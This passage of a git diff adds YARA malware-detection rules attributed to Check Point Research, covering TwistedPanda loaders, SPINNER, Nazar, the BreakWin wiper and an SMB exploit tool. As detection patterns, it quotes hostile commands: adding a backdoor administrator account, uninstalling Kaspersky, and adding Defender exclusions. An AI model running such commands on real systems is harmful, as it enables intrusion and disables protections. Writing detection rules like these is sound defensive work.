+$dbg_print_8 = "Connect to target failed." ascii wide
+$dbg_print_9 = "connect successful." ascii wide
+$dbg_print_10 = "not supported Platform" ascii wide
+$dbg_print_11 = "Wait several seconds." ascii wide
+$dbg_print_12 = "not set where to write ListEntry ." ascii wide
+$dbg_print_13 = "backdoor not installed." ascii wide
+$dbg_print_14 = "REConnect to target failed." ascii wide
+$dbg_print_15 = "Construct TreeConnectAndX Request Failed." ascii wide
+$dbg_print_16 = "Construct NTCreateAndXRequest  Failed." ascii wide
+$dbg_print_17 = "Construct Trans2  Failed." ascii wide
+$dbg_print_18 = "Construct ConsWXR  Failed." ascii wide
+$dbg_print_19 = "Construct ConsTransSecondary  Failed." ascii wide
+$dbg_print_20 = "if you don't want to input password , use server2003 version.." ascii wide
+
+$cmdline_1 = "Command format  %s TargetIp domainname username password 2" ascii wide
+$cmdline_2 = "Command format  %s TargetIp domainname username password 1" ascii wide
+$cmdline_3 = "cmd.exe /c net user test test /add && cmd.exe /c net localgroup administrators test /add" ascii wide
+$cmdline_4 = "hello.exe  \"C:\\WINDOWS\\DEBUG\\test.exe\"" ascii wide
+$cmdline_5 = "parameter not right" ascii wide
+
+$smb_param_1 = "browser" ascii wide
+$smb_param_2 = "spoolss" ascii wide
+$smb_param_3 = "srvsvc" ascii wide
+$smb_param_4 = "\\PIPE\\LANMAN" ascii wide
+$smb_param_5 = "Werttys for Workgroups 3.1a" ascii wide
+$smb_param_6 = "PC NETWORK PROGRAM 1.0" ascii wide
+$smb_param_7 = "LANMAN1.0" ascii wide
+$smb_param_8 = "LM1.2X002" ascii wide
+$smb_param_9 = "LANMAN2.1" ascii wide
+$smb_param_10 = "NT LM 0.12" ascii wide
+$smb_param_12 = "WORKGROUP" ascii wide
+$smb_param_13 = "Windows Server 2003 3790 Service Pack 2" ascii wide
+$smb_param_14 = "Windows Server 2003 5.2" ascii wide
+$smb_param_15 = "Windows 2002 Service Pack 2 2600" ascii wide
+$smb_param_16 = "Windows 2002 5.1" ascii wide
+$smb_param_17 = "PC NETWORK PROGRAM 1.0" ascii wide
+$smb_param_18 = "Windows 2002 5.1" ascii wide
+$smb_param_19 = "Windows for Workgroups 3.1a" ascii wide
+
+$unique_str_1 = "WIN-NGJ7GKNROVS"
+$unique_str_2 = "XD-A31C2E0087B2"
+
+condition:
+    uint16(0) == 0x5a4d and (5 of ($dbg_print*) or 2 of ($cmdline*) or 1 of ($unique_str*)) and 3 of ($smb_param*)
+}
+
+ 
+
+ 
diff --git a/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_64bit_Loader.yar b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_64bit_Loader.yar
new file mode 100644
index 0000000..5413ce0
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_64bit_Loader.yar
@@ -0,0 +1,34 @@
+rule apt_CN_TwistedPanda_64bit_Loader {
+   meta:
+      author = "Check Point Research"
+      description = "Detect the 64bit Loader DLL used by TwistedPanda"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      date = "2022-04-14"
+      hash = "e0d4ef7190ff50e6ad2a2403c87cc37254498e8cc5a3b2b8798983b1b3cdc94f"
+      
+   strings:
+      // 48 8D ?? ?? ?? ?? ?? ?? ??              lea     rdx, ds:2[rdx*2]
+      // 48 8B C1                                mov     rax, rcx
+      // 48 81 ?? ?? ?? ?? ??                    cmp     rdx, 1000h
+      // 72 ??                                   jb      short loc_7FFDF0BA1B48
+      $path_check = { 48 8D [6] 48 8B ?? 48 81 [5] 72 }
+      // 48 8B D0                                mov     rdx, rax        ; lpBuffer
+      // 41 B8 F0 16 00 00                       mov     r8d, 16F0h      ; nNumberOfBytesToRead
+      // 48 8B CF                                mov     rcx, rdi        ; hFile
+      // 48 8B D8                                mov     rbx, rax
+      // FF ?? ?? ?? ??                          call    cs:ReadFile
+      $shellcode_read = { 48 8B D0 41 B8 F0 16 00 00 48 8B CF 48 8B D8 FF} 
+      // BA F0 16 00 00                          mov     edx, 16F0h      ; dwSize
+      // 44 8D 4E 40                             lea     r9d, [rsi+40h]  ; flProtect
+      // 33 C9                                   xor     ecx, ecx        ; lpAddress
+      // 41 B8 00 30 00 00                       mov     r8d, 3000h      ; flAllocationType
+      // FF ?? ?? ?? ?? ??                       call    cs:VirtualAlloc
+     $shellcode_allocate = { BA F0 16 00 00 44 8D 4E 40 33 C9 41 B8 00 30 00 00 FF }
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and $path_check and $shellcode_allocate and $shellcode_read
+}
diff --git a/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_SPINNER_1.yar b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_SPINNER_1.yar
new file mode 100644
index 0000000..dfd48c3
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_SPINNER_1.yar
@@ -0,0 +1,33 @@
+rule apt_CN_TwistedPanda_SPINNER_1 {
+   meta:
+      author = "Check Point Research"
+      description = "Detect the obfuscated variant of SPINNER payload used by TwistedPanda"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      date = "2022-04-14"
+      hash = "a9fb7bb40de8508606a318866e0e5ff79b98f314e782f26c7044622939dfde81"
+      
+   strings:
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C6                                                  mov     byte ptr [eax], 0
+      $config_init = { C7 ?? ?? ?? 00 00 00 C7 ?? ?? ?? 00 00 00 C6 }
+      $c2_cmd_1 = { 01 00 03 10}
+      $c2_cmd_2 = { 02 00 01 10}
+      $c2_cmd_3 = { 01 00 01 10}
+      // 8D 83 ?? ?? ?? ??                                   lea     eax, xor_key[ebx]
+      // 80 B3 ?? ?? ?? ?? ??                                xor     xor_key[ebx], 50h
+      // 89 F1                                               mov     ecx, esi        ; this
+      // 6A 01                                               push    1               ; Size
+      // 50                                                  push    eax             ; Src
+      // E8 ?? ?? ?? ??                                      call    str_append
+      // 80 B3 ?? ?? ?? ?? ??                                xor     xor_key[ebx], 50h
+      $decryption = { 8D 83 [4] 80 B3 [5] 89 F1 6A 01 50 E8 [4] 80 B3 }
+ 
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and #config_init > 10 and 2 of ($c2_cmd_*) and $decryption
+}
diff --git a/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_SPINNER_2.yar b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_SPINNER_2.yar
new file mode 100644
index 0000000..ee2792d
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_SPINNER_2.yar
@@ -0,0 +1,35 @@
+rule apt_CN_TwistedPanda_SPINNER_2 {
+   meta:
+      author = "Check Point Research"
+      description = "Detect an older variant of SPINNER payload used by TwistedPanda"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      date = "2022-04-14"
+      hash = "28ecd1127bac08759d018787484b1bd16213809a2cc414514dc1ea87eb4c5ab8"
+      
+   strings:
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C7 ?? ?? ?? 00 00 00                                mov     dword ptr [eax+??], ??
+      // C6                                                  mov     byte ptr [eax], 0
+      $config_init = { C7 [3] 00 00 00 C7 [3] 00 00 00 C6 }
+      $c2_cmd_1 = { 01 00 03 10 }
+      $c2_cmd_2 = { 02 00 01 10 }
+      $c2_cmd_3 = { 01 00 01 10 }
+      $c2_cmd_4 = { 01 00 00 10 }
+      $c2_cmd_5 = { 02 00 00 10 }
+      // 80 B3 ?? ?? ?? ?? ??                    xor     ds:dd_encrypted_url[ebx], 50h
+      // 8D BB ?? ?? ?? ??                       lea     edi, dd_encrypted_url[ebx]
+      // 8B 56 14                                mov     edx, [esi+14h]
+      // 8B C2                                   mov     eax, edx
+      // 8B 4E 10                                mov     ecx, [esi+10h]
+      // 2B C1                                   sub     eax, ecx
+      // 83 F8 01                                cmp     eax, 1
+      $decryption = { 80 B3 [5] 8D BB [4] 8B 56 14 8B C2 8B 4E 10 2B C1 83 F8 01 }
+ 
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and #config_init > 10 and 2 of ($c2_cmd_*) and $decryption
+}
diff --git a/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_droppers.yar b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_droppers.yar
new file mode 100644
index 0000000..8262709
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_droppers.yar
@@ -0,0 +1,36 @@
+rule apt_CN_TwistedPanda_droppers {
+   meta:
+      author = "Check Point Research"
+      description = "Detect droppers used by TwistedPanda"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      date = "2022-04-14"
+      hash = "59dea38da6e515af45d6df68f8959601e2bbf0302e35b7989e741e9aba2f0291"
+      hash = "8b04479fdf22892cdfebd6e6fbed180701e036806ed0ddbe79f0b29f73449248"
+      hash = "f29a0cda6e56fc0e26efa3b6628c6bcaa0819a3275a10e9da2a8517778152d66"
+      
+   strings:
+     // 81 FA ?? ?? ?? ??                                   cmp     edx, 4BED1896h
+     // 75 ??                                               jnz     short loc_140001829
+     // E8 ?? ?? ?? ??                                      call    sub_1400019D0
+     // 48 89 05 ?? ?? ?? ??                                mov     cs:qword_14001ED38, rax
+     // E? ?? ?? ?? ??                                      jmp     loc_1400018DD
+      $switch_control = { 81 FA [4] 75 ?? E8 [4] 48 89 05 [4] E? }
+     // 41 0F ?? ??                                         movsx   edx, byte ptr [r9]
+     // 44 ?? ??                                            or      r8d, edx
+     // 41 ?? ?? 03                                         rol     r8d, 3
+     // 41 81 ?? ?? ?? ?? ??                                xor     r8d, 0EF112233h
+     // 41 ?? ??                                            mov     eax, r10d
+      $byte_manipulation = { 41 0F [2] 44 [2] 41 [2] 03 41 81 [5] 41 }
+     // %public%
+     $stack_strings_1 = { 25 00 70 00 }
+     $stack_strings_2 = { 75 00 62 00 }
+     $stack_strings_3 = { 6C 00 69 00 }
+     $stack_strings_4 = { 63 00 25 00 }
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB  and #switch_control > 8 and all of ($stack_strings_*) and $byte_manipulation
+}
diff --git a/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_loader.yar b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_loader.yar
new file mode 100644
index 0000000..903b24b
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_CN_TwistedPanda_loader.yar
@@ -0,0 +1,42 @@
+rule apt_CN_TwistedPanda_loader {
+   meta:
+      author = "Check Point Research"
+      reference = "https://research.checkpoint.com/2022/twisted-panda-chinese-apt-espionage-operation-against-russians-state-owned-defense-institutes/"
+      description = "Detect loader used by TwistedPanda"
+      date = "2022-04-14"
+      hash = "5b558c5fcbed8544cb100bd3db3c04a70dca02eec6fedffd5e3dcecb0b04fba0"
+      hash = "efa754450f199caae204ca387976e197d95cdc7e83641444c1a5a91b58ba6198"
+      
+   strings:
+      
+      // 6A 40                                   push    40h ; '@'
+      // 68 00 30 00 00                          push    3000h
+      $seq1 = { 6A 40 68 00 30 00 00 }
+      
+      // 6A 00                                   push    0               ; lpOverlapped
+      // 50                                      push    eax             ; lpNumberOfBytesRead
+      // 6A 14                                   push    14h             ; nNumberOfBytesToRead
+      // 8D ?? ?? ?? ?? ??                       lea     eax, [ebp+Buffer]
+      // 50                                      push    eax             ; lpBuffer
+        // 53                                      push    ebx             ; hFile
+      // FF 15 04 D0 4C 70                       call    ds:ReadFile
+      $seq2 = { 6A 00 50 6A 14 8D ?? ?? ?? ?? ?? 50 53 FF }
+      // 6A 00                                   push    0
+      // 6A 00                                   push    0
+      // 6A 03                                   push    3
+      // 6A 00                                   push    0
+      // 6A 03                                   push    3
+      // 68 00 00 00 80                          push    80000000h
+      $seq3 = { 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 80 }
+            
+      // Decryption sequence
+      $decryption = { 8B C? [2-3] F6 D? 1A C? [2-3] [2-3] 30 0? ?? 4? }
+ 
+   condition:
+      // MZ signature at offset 0 and ...
+      uint16(0) == 0x5A4D and
+        
+      // ... PE signature at offset stored in MZ header at 0x3C
+      uint32(uint32(0x3C)) == 0x00004550 and 
+      filesize < 3000KB and all of ($seq*) and $decryption
+}
diff --git a/yara-mikesxrs/Checkpoint/apt_WebAssistant_TcahfUpdate.yar b/yara-mikesxrs/Checkpoint/apt_WebAssistant_TcahfUpdate.yar
new file mode 100644
index 0000000..bef2cc8
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_WebAssistant_TcahfUpdate.yar
@@ -0,0 +1,17 @@
+rule apt_WebAssistant_TcahfUpdate {
+meta:
+    description = "Rule for detecting the fake WebAssistant and TcahfUpdate applications used to target the Uyghur minority"
+    reference = "https://research.checkpoint.com/2021/uyghurs-a-turkic-ethnic-minority-in-china-targeted-via-fake-foundations/"
+    version = "1.0"
+    last_modified = "2021-05-06"
+    hash = "2f7492423586a3061e5641b5b271ca54"
+    hash = "1b5dbd351bb7159eb08868c46a3fe3a6"
+    hash = "90fcbd5c904326466c3b6af1ca34aae1"
+strings:
+    $url = {2f 00 63 00 67 00 69 00 2d 00 62 00 69 00 6e 00 2f [0-50] 2e 00 70 00 79 00 3f 00}
+    $lib = "Newtonsoft.Json"
+    $mac = "MACAddress Is Not NULL" wide
+condition:
+    uint16(0)==0x5A4D and $url and $lib  and $mac
+    and filesize < 1MB
+}
diff --git a/yara-mikesxrs/Checkpoint/apt_nazar_component_guids.yar b/yara-mikesxrs/Checkpoint/apt_nazar_component_guids.yar
new file mode 100644
index 0000000..2097782
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_nazar_component_guids.yar
@@ -0,0 +1,32 @@
+rule apt_nazar_component_guids
+{
+    meta:
+        description = "Detect Nazar Components by COM Objects' GUID"
+        author = "Itay Cohen"
+        date = "2020-04-27"
+        reference = "<https://www.epicturla.com/blog/the-lost-nazar>"
+        reference2 = "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/"
+        hash = "1110c3e34b6bbaadc5082fabbdd69f492f3b1480724b879a3df0035ff487fd6f"
+        hash = "1afe00b54856628d760b711534779da16c69f542ddc1bb835816aa92ed556390"
+        hash = "2caedd0b2ea45761332a530327f74ca5b1a71301270d1e2e670b7fa34b6f338e"
+        hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+        hash = "460eba344823766fe7c8f13b647b4d5d979ce4041dd5cb4a6d538783d96b2ef8"
+        hash = "4d0ab3951df93589a874192569cac88f7107f595600e274f52e2b75f68593bca"
+        hash = "75e4d73252c753cd8e177820eb261cd72fecd7360cc8ec3feeab7bd129c01ff6"
+        hash = "8fb9a22b20a338d90c7ceb9424d079a61ca7ccb7f78ffb7d74d2f403ae9fbeec"
+        hash = "967ac245e8429e3b725463a5c4c42fbdf98385ee6f25254e48b9492df21f2d0b"
+        hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
+        hash = "d34a996826ea5a028f5b4713c797247913f036ca0063cc4c18d8b04736fa0b65"
+        hash = "d9801b4da1dbc5264e83029abb93e800d3c9971c650ecc2df5f85bcc10c7bd61"
+        hash = "eb705459c2b37fba5747c73ce4870497aa1d4de22c97aaea4af38cdc899b51d3"
+    strings:
+        $guid1_godown = { 98 B3 E5 F6 DF E3 6B 49 A2 AD C2 0F EA 30 DB FE } // Godown.dll IID
+        $guid2_godown = { 31 4B CB DB B8 21 0F 4A BC 69 0C 3C E3 B6 6D 00 } // Godown.dll CLSID
+        $guid3_godown = { AF 94 4E B6 6B D5 B4 48 B1 78 AF 07 23 E7 2A B5 } // probably Godown
+        $guid4_filesystem = { 79 27 AB 37 34 F2 9D 4D B3 FB 59 A3 FA CB 8D 60 } // Filesystem.dll CLSID
+        $guid6_filesystem = { 2D A1 2B 77 62 8A D3 4D B3 E8 92 DA 70 2E 6F 3D } // Filesystem.dll TypeLib IID
+        $guid5_filesystem = { AB D3 13 CF 1C 6A E8 4A A3 74 DE D5 15 5D 6A 88 } // Filesystem.dll 
+        
+    condition:
+        any of them
+}
diff --git a/yara-mikesxrs/Checkpoint/apt_nazar_svchost_commands.yar b/yara-mikesxrs/Checkpoint/apt_nazar_svchost_commands.yar
new file mode 100644
index 0000000..e4ef01e
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/apt_nazar_svchost_commands.yar
@@ -0,0 +1,19 @@
+rule apt_nazar_svchost_commands
+{
+    meta:
+        description = "Detect Nazar's svchost based on supported commands"
+        author = "Itay Cohen"
+        date = "2020-04-26"
+        reference = "<https://www.epicturla.com/blog/the-lost-nazar>"
+        reference2 = "https://research.checkpoint.com/2020/nazar-spirits-of-the-past/"
+        hash = "2fe9b76496a9480273357b6d35c012809bfa3ae8976813a7f5f4959402e3fbb6"
+        hash = "be624acab7dfe6282bbb32b41b10a98b6189ab3a8d9520e7447214a7e5c27728"
+    strings:
+        $str1 = { 33 31 34 00 36 36 36 00 33 31 33 00 }
+        $str2 = { 33 31 32 00 33 31 35 00 35 35 35 00 }
+        $str3 = { 39 39 39 00 35 39 39 00 34 39 39 00 }
+        $str4 = { 32 30 39 00 32 30 31 00 32 30 30 00 }
+        $str5 = { 31 39 39 00 31 31 39 00 31 38 39 00 31 33 39 00 33 31 31 00 }
+    condition:
+        4 of them
+}
diff --git a/yara-mikesxrs/Checkpoint/checkpoint_index.yara b/yara-mikesxrs/Checkpoint/checkpoint_index.yara
new file mode 100644
index 0000000..175adf5
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/checkpoint_index.yara
@@ -0,0 +1,206 @@
+rule explosive_exe
+{
+  meta:
+    author = "Check Point Software Technologies Inc."
+    info = "Explosive EXE"
+  strings:
+    $MZ = "MZ"
+    $DLD_S = "DLD-S:"
+    $DLD_E = "DLD-E:"
+  condition:
+    $MZ at 0 and all of them
+}
+
+import "pe"
+rule explosive_dll
+
+{
+  meta:
+    author = "Check Point Software Technologies Inc."
+    info = "Explosive DLL"
+    reference = "https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf"
+
+ 
+  condition:
+    pe.DLL
+    and ( pe.exports("PathProcess") or pe.exports("_PathProcess@4") ) and 
+pe.exports("CON")
+}
+
+rule ZZ_breakwin_config {
+    meta:
+        description = "Detects the header of the encrypted config files, assuming known encryption key."
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+        hash = "948febaab71727217303e0aabb9126f242aa51f89caa7f070a3da76c4f5699ed"
+        hash = "2d35bb7c02062ff2fba4424a267c5c83351405281a1870f52d02f3712a547a22"
+        hash = "68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7"
+    strings:
+        $conf_header = {1A 69 45 47 5E 46 4A 06 03 E4 34 0B 06 1D ED 2F 02 15 02 E5 57 4D 59 59 D1 40 20 22}
+    condition:
+        $conf_header at 0
+}
+rule ZZ_breakwin_wiper {
+    meta:
+        description = "Detects the BreakWin wiper that was used in attacks in Syria"
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+        hash = "2aa6e42cb33ec3c132ffce425a92dfdb5e29d8ac112631aec068c8a78314d49b"
+        hash = "6709d332fbd5cde1d8e5b0373b6ff70c85fee73bd911ab3f1232bb5db9242dd4"
+        hash = "d71cc6337efb5cbbb400d57c8fdeb48d7af12a292fa87a55e8705d18b09f516e"
+    strings:
+        $debug_str_meteor_1 = "the program received an invalid number of arguments" wide
+        $debug_str_meteor_2 = "End interval logger. Resuming writing every log" wide
+        $debug_str_meteor_0 = "failed to initialize configuration from file" wide
+        $debug_str_meteor_3 = "Meteor is still alive." wide
+        $debug_str_meteor_4 = "Exiting main function because of some error" wide
+        $debug_str_meteor_5 = "Meteor has finished. This shouldn't be possible because of the is-alive loop." wide
+        $debug_str_meteor_6 = "Meteor has started." wide
+        $debug_str_meteor_7 = "Could not hide current console." wide
+        $debug_str_meteor_8 = "Could not get the window handle used by the console." wide
+        $debug_str_meteor_9 = "Failed to find base-64 data size" wide
+        $debug_str_meteor_10 = "Running locker thread" wide
+        $debug_str_meteor_11 = "Failed to encode wide-character string as Base64" wide
+        $debug_str_meteor_12 = "Wiper operation failed." wide
+        $debug_str_meteor_13 = "Screen saver disable failed." wide
+        $debug_str_meteor_14 = "Failed to generate password of length %s. Generating a default one." wide
+        $debug_str_meteor_15 = "Failed to delete boot configuration" wide
+        $debug_str_meteor_16 = "Could not delete all BCD entries." wide
+        $debug_str_meteor_17 = "Finished deleting BCD entries." wide
+        $debug_str_meteor_18 = "Failed to change lock screen" wide
+        $debug_str_meteor_19 = "Boot configuration deleted successfully" wide
+        $debug_str_meteor_20 = "Failed to kill all winlogon processes" wide
+        $debug_str_meteor_21 = "Changing passwords of all users to" wide
+        $debug_str_meteor_22 = "Failed to change the passwords of all users" wide
+        $debug_str_meteor_23 = "Failed to run the locker thread" wide
+        $debug_str_meteor_24 = "Screen saver disabled successfully." wide
+        $debug_str_meteor_25 = "Generating random password failed" wide
+        $debug_str_meteor_26 = "Locker installation failed" wide
+        $debug_str_meteor_27 = "Failed to set auto logon." wide
+        $debug_str_meteor_28 = "Failed to initialize interval logger. Using a dummy logger instead." wide
+        $debug_str_meteor_29 = "Succeeded setting auto logon for" wide
+        $debug_str_meteor_30 = "Failed disabling the first logon privacy settings user approval." wide
+        $debug_str_meteor_31 = "Failed disabling the first logon animation." wide
+        $debug_str_meteor_32 = "Waiting for new winlogon process" wide
+        $debug_str_meteor_33 = "Failed to isolate from domain" wide
+        $debug_str_meteor_34 = "Failed creating scheduled task for system with name %s." wide
+        $debug_str_meteor_35 = "Failed to get the new token of winlogon." wide
+        $debug_str_meteor_36 = "Failed adding new admin user." wide
+        $debug_str_meteor_37 = "Failed changing settings for the created new user." wide
+        $debug_str_meteor_38 = "Failed disabling recovery mode." wide
+        $debug_str_meteor_39 = "Logging off users on Windows version 8 or above" wide
+        $debug_str_meteor_40 = "Succeeded setting boot policy to ignore all errors." wide
+        $debug_str_meteor_41 = "Succeeded creating scheduled task for system with name" wide
+        $debug_str_meteor_42 = "Succeeded disabling recovery mode" wide
+        $debug_str_meteor_43 = "Failed to log off all sessions" wide
+        $debug_str_meteor_44 = "Failed to delete shadowcopies." wide
+        $debug_str_meteor_45 = "Failed logging off session: " wide
+        $debug_str_meteor_46 = "Failed setting boot policy to ignore all errors." wide
+        $debug_str_meteor_47 = "Successfully logged off all local sessions, except winlogon." wide
+        $debug_str_meteor_48 = "Succeeded creating scheduled task with name %s for user %s." wide
+        $debug_str_meteor_49 = "Killing all winlogon processes" wide
+        $debug_str_meteor_50 = "Logging off users in Windows 7" wide
+        $debug_str_meteor_51 = "Failed logging off all local sessions, except winlogon." wide
+        $debug_str_meteor_52 = "Failed creating scheduled task with name %s for user %s." wide
+        $debug_str_meteor_53 = "Succeeded deleting shadowcopies." wide
+        $debug_str_meteor_54 = "Logging off users in Windows XP" wide
+        $debug_str_meteor_55 = "Failed changing settings for the created new user." wide
+        $debug_str_meteor_56 = "Could not open file %s. error message: %s" wide
+        $debug_str_meteor_57 = "Could not write to file %s. error message: %s" wide
+        $debug_str_meteor_58 = "tCould not tell file pointer location on file %s." wide
+        $debug_str_meteor_59 = "Could not set file pointer location on file %s to offset %s." wide
+        $debug_str_meteor_60 = "Could not read from file %s. error message: %s" wide
+        $debug_str_meteor_61 = "Failed to wipe file %s" wide
+        $debug_str_meteor_62 = "attempted to access encrypted file in offset %s, but it only supports offset 0" wide
+        $debug_str_meteor_63 = "Failed to create thread. Error message: %s" wide
+        $debug_str_meteor_64 = "Failed to wipe file %s" wide
+        $debug_str_meteor_65 = "failed to get configuration value with key %s" wide
+        $debug_str_meteor_66 = "failed to parse the configuration from file %s" wide
+        $debug_str_meteor_67 = "Failed posting to server, received unknown exception" wide
+        $debug_str_meteor_68 = "Failed posting to server, received std::exception" wide
+        $debug_str_meteor_69 = "Skipping %s logs. Writing log number %s:" wide
+        $debug_str_meteor_70 = "Start interval logger. Writing logs with an interval of %s logs." wide
+        $debug_str_meteor_71 = "failed to write message to log file %s" wide
+        $debug_str_meteor_72 = "The log message is too big: %s/%s characters." wide
+        $debug_str_stardust_0 = "Stardust has started." wide
+        $debug_str_stardust_1 = "0Vy0qMGO" ascii wide
+        $debug_str_comet_0 = "Comet has started." wide
+        $debug_str_comet_1 = "Comet has finished." wide
+        $str_lock_my_pc = "Lock My PC 4" ascii wide
+        $config_entry_0 = "state_path" ascii
+        $config_entry_1 = "state_encryption_key" ascii
+        $config_entry_2 = "log_server_port" ascii
+        $config_entry_3 = "log_file_path" ascii
+        $config_entry_4 = "log_encryption_key" ascii
+        $config_entry_5 = "log_server_ip" ascii
+        $config_entry_6 = "processes_to_kill" ascii
+        $config_entry_7 = "process_termination_timeout" ascii
+        $config_entry_8 = "paths_to_wipe" ascii
+        $config_entry_9 = "wiping_stage_logger_interval" ascii
+        $config_entry_10 = "locker_exe_path" ascii
+        $config_entry_11 = "locker_background_image_jpg_path" ascii
+        $config_entry_12 = "auto_logon_path" ascii
+        $config_entry_13 = "locker_installer_path" ascii
+        $config_entry_14 = "locker_password_hash" ascii
+        $config_entry_15 = "users_password" ascii
+        $config_entry_16 = "locker_background_image_bmp_path" ascii
+        $config_entry_17 = "locker_registry_settings_files" ascii
+        $config_entry_18 = "cleanup_script_path" ascii
+        $config_entry_19 = "is_alive_loop_interval" ascii
+        $config_entry_20 = "cleanup_scheduled_task_name" ascii
+        $config_entry_21 = "self_scheduled_task_name" ascii
+        $encryption_asm = {33 D2 8B C3 F7 75 E8 8B 41 04 8B 4E 04 8A 04 02 02 C3 32 04 1F 88 45 F3 39 4E 08}
+        $random_string_generation = {33 D2 59 F7 F1 83 ?? ?? 08 66 0F BE 82 ?? ?? ?? 00 0F B7 C8 8B C7}
+    condition:
+        uint16(0) == 0x5A4D and
+        (
+                6 of them or
+                $encryption_asm or 
+                $random_string_generation
+        )
+}
+rule ZZ_breakwin_stardust_vbs {
+    meta:
+        description = "Detect the VBS files that where found in the attacks on targets in Syria"
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+        hash = "38a419cd9456e40961c781e16ceee99d970be4e9235ccce0b316efe68aba3933"
+        hash = "62a984981d14b562939294df9e479ac0d65dfc412d0449114ccb2a0bc93769b0"
+        hash = "4d994b864d785abccef829d84f91d949562d0af934114b65056315bf59c1ef58"
+        hash = "eb5237d56c0467b5def9a92e445e34eeed9af2fee28f3a2d2600363724d6f8b0"
+        hash = "5553ba3dc141cd63878a7f9f0a0e67fb7e887010c0614efd97bbc6c0be9ec2ad"
+    strings:
+        $url_template = "progress.php?hn=\" & CN & \"&dt=\" & DT & \"&st="
+        $compression_password_1 = "YWhZMFU1VlZGdGNFNWlhMVlVMnhTMWtOVlJVWWNGTk9iVTQxVW10V0ZFeFJUMD0r"
+        $compression_password_2 = "YWlvcyBqQCNAciNxIGpmc2FkKnIoOUZURjlVSjBSRjJRSlJGODlKSDIzRmloIG8"
+        $uninstall_kaspersky = "Shell.Run \"msiexec.exe /x \" & productcode & \" KLLOGIN="
+        $is_avp_running = "isProcessRunning(\".\", \"avp.exe\") Then"
+    condition:
+        any of them
+}
+rule ZZ_breakwin_meteor_batch_files {
+    meta:
+        description = "Detect the batch files used in the attacks"
+        reference = "https://research.checkpoint.com/2021/indra-hackers-behind-recent-attacks-on-iran/"
+        author = "Check Point Research"
+        date = "22-07-2021"
+    strings:
+        $filename_0 = "mscap.bmp"
+        $filename_1 = "mscap.jpg"
+        $filename_2 = "msconf.conf"
+        $filename_3 = "msmachine.reg"
+        $filename_4 = "mssetup.exe"
+        $filename_5 = "msuser.reg"
+        $filename_6 = "msapp.exe"
+        $filename_7 = "bcd.rar"
+        $filename_8 = "bcd.bat"
+        $filename_9 = "msrun.bat"
+        $command_line_0 = "powershell -Command \"%exclude_command% '%defender_exclusion_folder%"
+        $command_line_1 = "start /b \"\" update.bat hackemall"
+    condition:
+        4 of ($filename_*) or
+        any of ($command_line_*)
+}
diff --git a/yara-mikesxrs/Checkpoint/explosive_dll.yar b/yara-mikesxrs/Checkpoint/explosive_dll.yar
new file mode 100644
index 0000000..0c6c0be
--- /dev/null
+++ b/yara-mikesxrs/Checkpoint/explosive_dll.yar
@@ -0,0 +1,15 @@
+import "pe"
+rule explosive_dll
+
+{
+  meta:
+    author = "Check Point Software Technologies Inc."
+    info = "Explosive DLL"
+    reference = "https://www.checkpoint.com/downloads/volatile-cedar-technical-report.pdf"
+
+ 
+  condition:
